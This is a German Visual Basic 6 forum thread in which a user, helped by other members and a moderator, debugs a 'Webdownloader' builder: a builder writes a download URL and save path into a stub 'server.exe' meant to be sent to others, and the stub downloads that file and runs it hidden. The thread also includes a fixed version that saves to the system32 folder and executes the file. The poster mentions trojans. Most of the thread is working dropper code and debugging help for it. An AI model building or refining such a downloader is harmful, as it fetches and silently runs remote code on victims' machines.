Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
RaG3!_
Poster
Poster

Anmeldedatum: 26.07.2007
Beiträge: 104

Webdownloader Problem (Builder oder Server?)
Verfasst am: 11.12.2007, 17:00

Hallo,

ich bin grad dabei einen Webdownloader mit Builder zu erstellen nach den Tutorials von enco und Zig.

Es klappt soweit auch gut, das Builder-Tutorial habe ich auch verstanden.
Es wird ein Server erstellt, jedoch wenn ich denn ausführe kommt eine Fehlermeldung.

Zitat:
Laufzeitfehler '424':
Objekt erforderlich


Ich finde keinen Fehler , könnt ihr mir helfen?
Builder Source Code:


Code:

Private Sub cmd_create_Click()
Dim buffer() As Byte
buffer = LoadResData(101, "CUSTOM")
Open (App.Path & "\server.exe") For Binary As #1
Put #1, , buffer
Close #1

Dim options As String * 100
options = txt_eingabe.Text & "#" & txt_ausgabe.Text & "#"
Open (App.Path & "\server.exe") For Binary As #1
Put #1, LOF(1) + 1, options
Close #1
End Sub

Private Sub cmd_search_Click()

Dim Path As String

With cd
.Filter = "Ausführbare Datein (*.exe) | (*.exe)"
.ShowSave

Path = cd.FileName
txt_ausgabe.Text = Path



End With


End Sub



Server Source Code:
Code:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
szFileName As String, ByVal dwReserved As Long, ByVal ipfnCB As Long) As Long






Private Sub Form_Load()
Dim file As String, options As String * 100, cmd() As String
file = (App.Path & "\" & App.EXEName & “.exe”)
Open file For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")

Returnvalue = URLDownloadToFile(0, txt_eingabe.Text, txt_ausgabe.Text, 0, 0)
End Sub


Die Res-Datei ist auch dabei.


Ich hoffe ihr könnt mir helfen

MFG
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 11.12.2007, 18:03

Ähm, im server rufst du die Api UrlDownloadToFile auf und übergibst ihr aber nicht die ausgelesenen Sachen aus options bzw. cmd() sondern txt_eingabe und txt_ausgabe.
Diese Textfelder werden ja wohl nicht im server vorhanden sein. Und wenn doch, dann sind dort aber nicht die Infos aus cmd() drinnen.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
RaG3!_
Poster
Poster

Anmeldedatum: 26.07.2007
Beiträge: 104


Verfasst am: 11.12.2007, 18:17

Also, ich verstehe was du meinst Smile

Ich muss dann im Server die txt_eingabe /txt_ausgabe durch cmd(0) und cmd(1) ersetzen?
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 11.12.2007, 19:09

Ja.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
RaG3!_
Poster
Poster

Anmeldedatum: 26.07.2007
Beiträge: 104


Verfasst am: 11.12.2007, 19:15

Danke schonmal , Problem besteht aber weiterhin.

Veränderter Code des Servers

Code:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
szFileName As String, ByVal dwReserved As Long, ByVal ipfnCB As Long) As Long






Private Sub Form_Load()
Dim file As String, options As String * 100, cmd() As String
file = (App.Path & "\" & App.EXEName & “.exe”)
Open file For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")

Returnvalue = URLDownloadToFile(0, cmd(0), cmd(1), 0, 0)
End Sub


Gleiche Fehlermeldung erscheint
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 29.11.2007
Beiträge: 425


Verfasst am: 11.12.2007, 19:28

Was ist wenn ich dir sage, dass es an den "" liegt? :>

Code:
file = (App.Path & "\" & App.EXEName & “.exe”)

Hinten bei “.exe” musst du einfach diese "" verwenden. Wink
 
RaG3!_
Poster
Poster

Anmeldedatum: 26.07.2007
Beiträge: 104


Verfasst am: 11.12.2007, 19:33

Hab ich gar icht gesehen, aber es klappt immer noch nicht -_-

Danke trotzdem

Evtl uppe ich gleich mal das projekt
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 29.11.2007
Beiträge: 425


Verfasst am: 11.12.2007, 19:34

Wäre gut, vielleicht hast du noch merh solche kleinen Fehler. Mit dem klein Codeausschnitt hat es bei mir jetzt funktioniert. Also nur das Pfad in TextBox anzeigen lassen.
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 11.12.2007, 19:40

Die falschen Anführungsstriche sind ein Problem wenn man einfach den Code aus dem Tutorial kopiert.
Hab die tuts in MS Word geschrieben und der ersetzt die einfach.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
RaG3!_
Poster
Poster

Anmeldedatum: 26.07.2007
Beiträge: 104


Verfasst am: 11.12.2007, 20:01

Hab den Fehler ja behoben,die Resdatei liegt bei.

Wäre nett wenn sich jemand das mal angucken würde

http://rageweb.ra.ohost.de/server_builder.rar
MFG


Zuletzt bearbeitet von RaG3!_ am 11.12.2007, 21:02, insgesamt einmal bearbeitet
 
Rausch_
Poster
Poster

Anmeldedatum: 03.11.2007
Beiträge: 164


Verfasst am: 11.12.2007, 20:38

also habs mir mal angeguckt, also res datei erst mal erneuern!!
dann muss natürlich bei:

URLDownloadToFile(0, cmd(0), cmd(1) & "test.rar", 0, 0)


naturlich muss nicht nur der pfad sondern auch der name eingegeben werden!
am einfachsten aus dem download link den name auslesen mit:
Code:

dim data() as string
data() = Split(cmd(0),"/")
URLDownloadToFile(0, cmd(0), cmd(1) & data(UBound(data)), 0, 0)

mfg
 
RaG3!_
Poster
Poster

Anmeldedatum: 26.07.2007
Beiträge: 104


Verfasst am: 11.12.2007, 21:02

o.O dank c0re hab ich grad gemerk dass ich das falsche hochgeladen hab-_-


neuer link:


http://rageweb.ra.ohost.de/server_builder.rar
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 29.11.2007
Beiträge: 425


Verfasst am: 11.12.2007, 23:17

Hab dir mal alles gefixt. Habe 2 Ordner gemacht. Einmal mit dem eigentlichen Code und einmal Download, speichern auf "C:\Windows\system32\downloaded.exe" und ausführen, Weil mir nicht ganz klar war, warum du einen Server brauchst um eine Datei nur herunterzuladen. :>

http://rapidshare.com/files/75923044/Webdownloader.rar

Viel Spaß beim weitercoden. Wink
 
RaG3!_
Poster
Poster

Anmeldedatum: 26.07.2007
Beiträge: 104


Verfasst am: 12.12.2007, 15:18

Der Server soll zum verschicken sein , auch wenn ich hoffe dass der Sinn eines WEbdownloader nicht nur Trojaner sind Rolling Eyes

Wenn der Server dann ausgeführt wird, soll er eine bestimmte Datei laden

Edit: Jetzt fällt mir ja ein, es macht gar keinen Sinn den Commondialog einzubauen -_-, wenn der Server verschickt wird ^^

Naja, ich schau's mir mal weiter an. Vielen Dank

Edit2:

Argh, es will schon wieder nicht klappen
Wieder kommt eine Fehlermeldung beim Ausführen des Servers

Code:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
szFileName As String, ByVal dwReserved As Long, ByVal ipfnCB As Long) As Long

Private Sub Form_Load()
Dim file As String, options As String * 100, cmd() As String
file = (App.Path & "\" & App.EXEName & ".exe")
Open file For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")
Close #1

Returnvalue = URLDownloadToFile(0, cmd(0), cmd(1), 0, 0)

Shell cmd(1), vbHide ' versteckt ausführen

' hier Pause und dann
' Unload Me
Unload Me
End Sub


Es erscheint folgende Fehlermeldung:

Zitat:
Laufzeitfehler 5:
Ungültiger Prozeduraufruf oder ungültiges Argument
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 29.11.2007
Beiträge: 425


Verfasst am: 12.12.2007, 15:38

Was genau hast du nun verändert? Nur das Unload Me? Kann sein, dass die Prozedur noch nicht fertig wird. Deswegen hab ich ja geschrieben du sollst eine Pause einbauen. ;>
 
Rausch_
Poster
Poster

Anmeldedatum: 03.11.2007
Beiträge: 164


Verfasst am: 12.12.2007, 15:40

also verändere deinen code wie ich dir vorhin vorgeschlagen habe,
erneuere die res datei
nun erstelle dir einen webdownloader den du server.exe nennst
dann kopierst du ihn in das verzeichnis indem du auch die server.vbp hast(das projekt)
nun öffnest du da projkt und änderest
Code:

file = (App.Path & "\" & App.EXEName & ".exe")

zu
Code:

file = (App.Path & "\server.exe")

nun drückst du f5 um dein programm zu testen, und siehst genau wo der fehler liegt.
mfg
 
RaG3!_
Poster
Poster

Anmeldedatum: 26.07.2007
Beiträge: 104


Verfasst am: 12.12.2007, 18:18

Es geht nicht, ich glaube ich suche die Fehler bei mir oder beginne ein anderes Projekt Rolling Eyes

Wenn ich dann doch wieder wasverändere, kommt eine neue Fehlermeldung, trotzdem danke Rausch.


Es ist doch eig so richtig in der Reihenfolge:

Ich erstelle den Server, füge diesen als benutzerdefinierte Resource dem Builder hinzu.

MFG
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 29.11.2007
Beiträge: 425


Verfasst am: 12.12.2007, 18:25

Das Projekt, das ich geuppt habe, hat aber gefunzt?
 
RaG3!_
Poster
Poster

Anmeldedatum: 26.07.2007
Beiträge: 104


Verfasst am: 12.12.2007, 18:36

Wie füg ich eine Pause ein Embarassed ?
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 29.11.2007
Beiträge: 425


Verfasst am: 12.12.2007, 18:44

Gibt verschiedene Möglichkeiten. Aber ich glaube alle frieren das Programm kurzzeitig ein.

Über Timer kannst du es so regeln:

Code:
Dim later As String
Dim now As String

spaeter = Timer + 2 ' 2 Sekunden Pause
While jetzt < spaeter
DoEvents
jetzt = Timer
Wend

Mit Sleep Funktion folgendermaßen:

Private Declare:

Code:
Declare Sub Sleep Lib "kernel32" (Byval dwMilliseconds As Long)

Dann im Codeverlauf die Pause:

Code:
Sleep 2000 ' 2 Sekunden Pause

Gibt noch mehr Möglichkeiten aber wenn du Sleep benutzt hast du bei mehreren Pausen fast nen Sysfucker. ;>
 
RaG3!_
Poster
Poster

Anmeldedatum: 26.07.2007
Beiträge: 104


Verfasst am: 12.12.2007, 18:46


Also dein Ordner Working + execute klappt :>

Ich schau mal, ob es eine Möglichkeit gibt, dieses Code zu verfeinern ;D

Danke dir vielmals
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: source code, laufzeitfehler, webdownloader, declare

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 984 09.06.2011, 13:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2612 06.03.2008, 21:19
Keine neuen Beiträge ListView speichern & laden 1331 05.08.2008, 13:32
Keine neuen Beiträge Registry & Co Fragen 1205 03.05.2007, 10:57
Keine neuen Beiträge Listbox speichern & laden 2273 22.03.2007, 21:25
 


[ Time: 0.0933s ][ Queries: 140 (0.0369s) ][ GZIP on - Debug on ]